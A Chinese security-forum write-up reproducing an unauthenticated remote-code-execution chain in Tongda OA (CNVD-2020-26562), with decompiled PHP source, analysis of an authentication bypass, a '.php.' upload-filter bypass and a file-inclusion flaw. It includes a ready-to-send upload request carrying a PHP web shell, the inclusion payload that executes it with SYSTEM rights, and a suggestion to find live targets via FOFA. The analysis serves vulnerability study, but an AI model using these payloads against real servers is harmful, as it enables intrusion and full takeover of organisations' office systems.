每次分享不一样,我还是那个菜菜Master先生,一位向往于任意门的白帽少年,我的奇技淫巧,让你尽可能的getshell.今天的主角通达OA,前几天黑产界的杀手,开始吧
CNVD:CNVD-2020-26562
通达OA是由北京通达信科科技有限公司开发的一款办公系统,前几天通达官方在其官网发布了安全提醒与更新程序,并披露有用户遭到攻击。
攻击者可在未授权的情况下可上传图片木马文件,之后通过精心构造的请求进行文件包含,实现远程命令执行,且攻击者无须登陆认证即可完成攻击。
本文主要以通达OA文件上传和文件包含导致的RCE进行复现和分析
通过fofa的搜索可以看到通达OA系统应用非常广泛,这就给同学们提供了大量的实战环境.当然大家一定要做一个正直的白帽子.
通达OA系统采用了一键式的傻瓜操作,正常的软件安装,这里我本地搭建的.安装过程省略.安装完成后访问本地地址,截图如下:
本次复现用的版本,安装包我会放附件里.
文件在 webroot\ispirit\im\upload.php
<?php
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('接收
方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) !=
strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] =
urldecode($_FILES['ATTACHMENT']['name']);
}
}
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
$ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit;
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
if ($TYPE == 'mobile') {
$ATTACHMENT_NAME =
td_iconv(urldecode($ATTACHMENT_NAME),
'utf-8', MYOA_CHARSET);
}
} else {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('无文
件上传'));
echo json_encode(data2utf8($dataBack));
exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME,
$MODULE);
if (!$FILE_SIZE) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('文件
上传失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
if ($UPLOAD_MODE == '1') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID,
$ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0,
strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) .
'thumb_'
. $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file') {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
} else {
if ($MSG_CATE == 'image') {
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
} else {
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
}
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, '@');
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = 'INSERT INTO im_offline_file
(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values
(\'' . date('Y-m-d H:i:s') . '\',\'' .
$_SESSION['LOGIN_UID']
. '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' .
$ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' .
$AID
. '\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array('status' => 0, 'content' => '-ERR ' .
_('数据库操作失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
$dataBack = array('status' => 1, 'content' => $CONTENT,
'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
} else {
if ($UPLOAD_MODE == '2') {
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT,
ADDTIME)
VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' .
$CONTENT
. '\', \'' . time() . '\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
} else {
if ($UPLOAD_MODE == '3') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID,
$ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0,
strlen($FILE_PATH) - strlen($ATTACHMENT_NAME))
. 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240,
$THUMB_FILE_PATH);
}
echo '+OK ' . $ATTACHMENT_ID;
} else {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' .
$ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
$msg_id = send_msg($_SESSION['LOGIN_UID'],
$DEST_UID,
1, $CONTENT, '', 2);
$query = 'insert into IM_OFFLINE_FILE
(TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG)
values (\'' . date('Y-m-d H:i:s') . '\',\'' .
$_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID .
'\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME
. '\',\'' . $FILE_SIZE . '\',\'0\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo '-ERR ' . _('数据库操作失败');
exit;
}
if ($FILE_ID == 0) {
echo '-ERR ' . _('数据库操作失败2');
exit;
}
echo '+OK ,' . $FILE_ID . ',' . $msg_id;
exit;
}
}
}
源码采用了zend加密,解密后才能正常阅读代码,上面的代码是解密后的,如果有想去探索更多的可以用解密工具解密自行研究。
通过上边的源码可以看到,第一个if(第5行)对P进行了判断,只要传递了参数P或者不为空,就可以进入下面的语句,如果判断失败,就进入else,也就是身份认证功能,所以这里只需要传递一个P并且值不为空,就可以绕过登录认证,在未授权的情况下进行上传文件。
这里测试的包中传递了P参数
接着往下看
判断DEST_UID,只要不为空也不为0即可, 在之后的文件上传处理逻辑代码中,会对$_FILES[‘ATTACHMENT’][‘name’])进行一次url解码,之后判断解码前后文件名长度是否有变化,如果有变化,则将url解码后的文件名作为最后的文件名。之后追踪upload函数,在 inc/utility_file.php 的1321行
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT =
true)
{
if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
if (!$OUTPUT) {
return _('参数含有非法字符。');
}
Message(_('错误'), _('参数含有非法字符。'));
exit;
}
$ATTACHMENTS = array('ID' => '', 'NAME' => '');
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT) {
if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX &&
substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_')
{
continue;
}
$data_charset = isset($_GET['data_charset']) ?
$_GET['data_charset'] : (isset($_POST['data_charset'])?
$_POST['data_charset'] : '');
$ATTACH_NAME = $data_charset != ''?
td_iconv($ATTACHMENT['name'], $data_charset,
MYOA_CHARSET) : $ATTACHMENT['name'];
$ATTACH_SIZE = $ATTACHMENT['size'];
$ATTACH_ERROR = $ATTACHMENT['error'];
$ATTACH_FILE = $ATTACHMENT['tmp_name'];
$ERROR_DESC = '';
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文
件'), substr($ATTACH_NAME,
strrpos($ATTACH_NAME, '.') + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME,
array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
if ($encode != 'UTF-8') {
$ATTACH_NAME_UTF8 =
mb_convert_encoding($ATTACH_NAME, 'utf-8',
MYOA_CHARSET);
} else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u',
$ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_('文件名[%s]包含
[/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'),
$ATTACH_NAME);
}
if ($ERROR_DESC == '') {
$ATTACH_NAME = str_replace('\'', '',
$ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE,
$ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败'),
$ATTACH_NAME);
} else {
$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
}
}
@unlink($ATTACH_FILE);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统
限制
(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过
了表
单限制'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_('文件[%s]上传不
完整'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR ==
UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_('文件[%s]上
传失败:找不到临时文件夹'),
$ATTACH_NAME);
} else {
if ($ATTACH_ERROR == U
PLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_('文件
[%s]写入失败'), $ATTACH_NAME);
} else {
$ERROR_DESC = sprintf(_('未知错
误[代码:%s]'), $ATTACH_ERROR);
}
}
}
}
}
}
if ($ERROR_DESC != '') {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS['ID'],
$ATTACHMENTS['NAME'], $MODULE);
return $ERROR_DESC;
} else {
Message(_('错误'), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}
这里调用了is_uploadable对文件名字进行判断,这个函数在1833行
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, '.');
if ($POS === false) {
$EXT_NAME = $FILE_NAME;
} else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) ==
'php') {
return false;
}
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
}
if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
return false;
}
if (MYOA_UPLOAD_LIMIT == 0) {
return true;
} else {
if (MYOA_UPLOAD_LIMIT == 1) {
return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
} else {
if (MYOA_UPLOAD_LIMIT == 2) {
return find_id(MYOA_UPLOAD_LIMIT_TYPE,
$EXT_NAME);
} else {
return false;
}
}
}
}
首先使用了strrpos来定位 . 最后出现的位置
当文件名中不存在”.”时会直接以现有的文件名来作为EXT_NAME,如果存在则从.开始匹配3位,判断后缀是否为php,如果为php则返回false,否则将”.”之前的作为EXT_NAME。
因为通达OA搭建在windows环境下,所以可以上传一个.php.后缀的文件,来绕过文件检测(这里跟文件上传的绕过原理相同),但是这里问题是上传的文件不在web工作目录下,所以即使上传了也访问不到,所以无法利用
下边我们就要用到文件包含的漏洞执行我们上传的文件!
这个关键文件的位置在webroot\ispirit\interface\gateway.php(这里仅参考我用的版本,不同的版本好像路径不同,还有待研究),话不多说,看源码:
<?php
ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
if (preg_match('/[^a-z0-9;]+/i', $P)) {
echo _('非法参数');
exit;
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' ||
$_SESSION['LOGIN_UID'] == '') {
echo _('RELOGIN');
exit;
}
}
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == 'data') {
$val = (array) $val;
foreach ($val as $keys => $value) {
${$keys} = $value;
}
}
if ($key == 'url') {
$url = $val;
}
}
if ($url != '') {
if (substr($url, 0, 1) == '/') {
$url = substr($url, 1);
}
if (strpos($url, 'general/') !== false || strpos($url,
'ispirit/') !== false || strpos($url, 'module/') !==
false) {
include_once $url;
}
}
exit;
}
这里首先是不传入参数P就可以进入下面判断语句,之后用到了stripcslashes函数
看一下实例就明白了,只是这里的源码接收了一个形参
之后从json中获取url参数的值,之后判断general/、ispirit/、module/是否在url内,如果不在直接跳过下面的include_once $url,如果存在则包含指定URL的文件, 这个是后期进行文件包含的重点
通过第一个漏洞,绕过认证上传木马,然后通过文件包含来包含文件,其中需要注意的是 DEST_UID 不能未空,文件包含中的url请求数据中需要包含 general/、ispirit/、module/三者中的一个.
1.访问本地通达OA系统
2.抓包,改POST包,放入Repeater模块。
3.改包,如下POC
POST /ispirit/im/upload.php HTTP/1.1
Host: 218.107.46.235
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Length: 564
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="123.php."
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
单包发送,会返回一个数据包,数据包包含了文件上传的路径。我们单包发送会在通达OA系统的文件中生成木马php文件。
很明显的可以看到,上传成功了,接下来利用文件包含执行上传的木马文件
访问地址
/ispirit/interface/gateway.php
抓包,构造payload
json={"url":"/general/../../attach/im/2005/1151884360.123.php"}&cmd=whoami
查看返回包(这里一定要发POST包)
system权限
执行一下CMD命令看一下
可以看到,各种危害不是很大的漏洞,组合起来危害还是比较大的,尤其是在这个攻击中两次都利用到的认证绕过,起到了关键的作用。通过绕过认证访问到上传接口进行图片马的上传,再结合上文件包含,造成了RCE。目前最直接的修复方式就是替换官方给的文件
此漏洞本人通过查阅各方面的资料复现了5个小时左右,不敢说全网最详细,也差不多了。希望对大家有所帮助。同时大家一定要做一个正直的白帽子,给个赞吧,喜欢的话打赏一下呗。我们下期间吧!
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 100.00 | 0 | 2020-07-28 09:09:02 | 投稿满 10 赞奖励 |
奖励系统 | 50.00 | 0 | 2020-06-02 09:09:40 | 投稿满 5 赞奖励 |
admin | 200.00 | 0 | 2020-06-01 15:03:27 | 不错的分享! |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
13160987020
发表于 2020-6-3
66
评论列表
加载数据中...
wl1358042098
发表于 2020-7-16
通达OA——>打卡学习!
评论列表
加载数据中...